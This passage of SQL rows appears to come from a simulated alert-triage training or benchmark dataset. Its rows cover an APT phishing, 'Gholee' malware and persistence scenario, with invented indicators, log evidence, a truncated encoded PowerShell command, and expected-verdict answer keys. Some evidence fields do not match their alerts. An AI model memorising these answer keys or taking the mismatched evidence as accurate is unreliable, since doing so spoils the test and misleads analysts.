1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(501, 'Suspicious Connection from Unverified Facebook Profile', 'medium', 'Social Media Monitoring Tools', 'A suspicious connection request from an unverified Facebook profile targeting aerospace employees has been detected. The profile appears to be linked to Rocket Kitten APT, aiming to establish initial contact through social engineering tactics.', 'Social Engineering', 'T1189: Drive-by Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"platform\":\"Facebook\",\"source_ip\":\"203.0.113.45\",\"target_user\":\"jdoe@aerospacecorp.com\",\"profile_name\":\"Jane Smith\",\"profile_id\":\"fb123456789\",\"profile_url\":\"https://facebook.com/fb123456789\",\"message_content\":\"Hi, I\'m a professional in aerospace technology and would love to connect.\",\"internal_review\":\"Profile created 2 days ago, minimal activity, no verified connections.\",\"connection_status\":\"Pending\",\"internal_ip\":\"192.168.1.105\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"jdoe@aerospacecorp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Email belongs to an aerospace employee.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://facebook.com/fb123456789\",\"is_critical\":true,\"osint_result\":{\"source\":\"Social Media Analysis\",\"verdict\":\"suspicious\",\"details\":\"Recently created profile, minimal activity.\"}}],\"recommended_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(502, 'Malicious Direct Message Sent to Employee', 'high', 'Email Security Gateway', 'An attacker, after gaining the trust of an employee, sent a direct message with a malicious attachment disguised as a legitimate document. The attachment is designed to deliver the \'Gholee\' malware payload.', 'Phishing', 'T1566.001: Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"email_id\":\"abc123xyz\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"employee@company.com\",\"subject\":\"Industry Report Update\",\"attachment\":\"industry_report_update.docx\",\"attachment_hash\":\"e5d8870e5bdd26602cab8f9d5c8a5f87\",\"malware_name\":\"Gholee\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.25\",\"url\":\"http://maliciousdomain.com/download\",\"indicator_of_compromise\":[\"attacker@maliciousdomain.com\",\"e5d8870e5bdd26602cab8f9d5c8a5f87\",\"203.0.113.45\",\"http://maliciousdomain.com/download\"]}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e5d8870e5bdd26602cab8f9d5c8a5f87\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as \'Gholee\' malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Malicious download link.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Direct Message Sent to Employee\",\"date\":\"2026-02-01T20:32:19.116Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(503, 'Execution of \'Gholee\' Malware Detected', 'high', 'Endpoint Detection and Response (EDR)', 'The execution of \'Gholee\' malware was detected on an endpoint following the opening of a malicious email attachment by an unsuspecting employee. This event signifies a potential compromise of the network with the likelihood of attackers establishing an initial foothold.', 'Malware Execution', 'T1204.002: User Execution: Malicious File', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:21:32Z\",\"event_id\":\"EDR-20231015-00123\",\"hostname\":\"workstation-12\",\"user\":\"jdoe\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.5\",\"file_name\":\"invoice_2023.pdf.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_id\":5678,\"parent_process\":\"explorer.exe\",\"action\":\"execute\",\"signature\":\"Gholee Malware\",\"severity\":\"high\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash of the executed \'Gholee\' malware file.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_2023.pdf.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious filename commonly used in phishing attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account of the employee who executed the malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(504, 'Establishment of Persistence Mechanisms', 'high', 'Log Analysis', 'The \'Gholee\' malware has been observed implementing various persistence techniques to maintain its foothold on the compromised system. Evidence of suspicious modifications to registry keys and the creation of new scheduled tasks were noted, indicating the attacker\'s attempt to remain undetected.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T03:45:12Z\",\"event_id\":\"4624\",\"source_ip\":\"172.16.254.1\",\"destination_ip\":\"10.0.0.25\",\"username\":\"compromised_user\",\"registry_change\":{\"key_path\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"GholeeUpdater\",\"value_data\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Roaming\\\\Gholee\\\\gholee_updater.exe\"},\"scheduled_task\":{\"name\":\"Gholee Persistence Task\",\"task_file\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\Gholee\\\\task.xml\",\"creator_user\":\"compromised_user\"},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"external_ip\":\"198.51.100.14\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with \'Gholee\' malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known threat actors.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"gholee_updater.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable file used for malware persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(505, 'Lateral Movement Detected Across Network', 'high', 'Network Traffic Analysis', 'With persistence established, Rocket Kitten moves laterally, probing for additional systems to compromise within the aerospace firm\'s network.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:30Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.20.30.40\",\"attacker_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"RocketKittenTool.exe\",\"event\":\"Lateral Movement Detected\",\"protocol\":\"SMB\",\"description\":\"Suspicious SMB traffic detected from 192.168.1.100 to 10.20.30.40 using compromised credentials.\",\"malware_family\":\"Rocket Kitten\",\"action_taken\":\"Traffic flagged for further analysis\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Rocket Kitten APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Rocket Kitten tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"RocketKittenTool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_repository\",\"verdict\":\"malicious\",\"details\":\"File associated with Rocket Kitten operations.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_database\",\"verdict\":\"suspicious\",\"details\":\"User\'s credentials were used in a suspicious manner.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
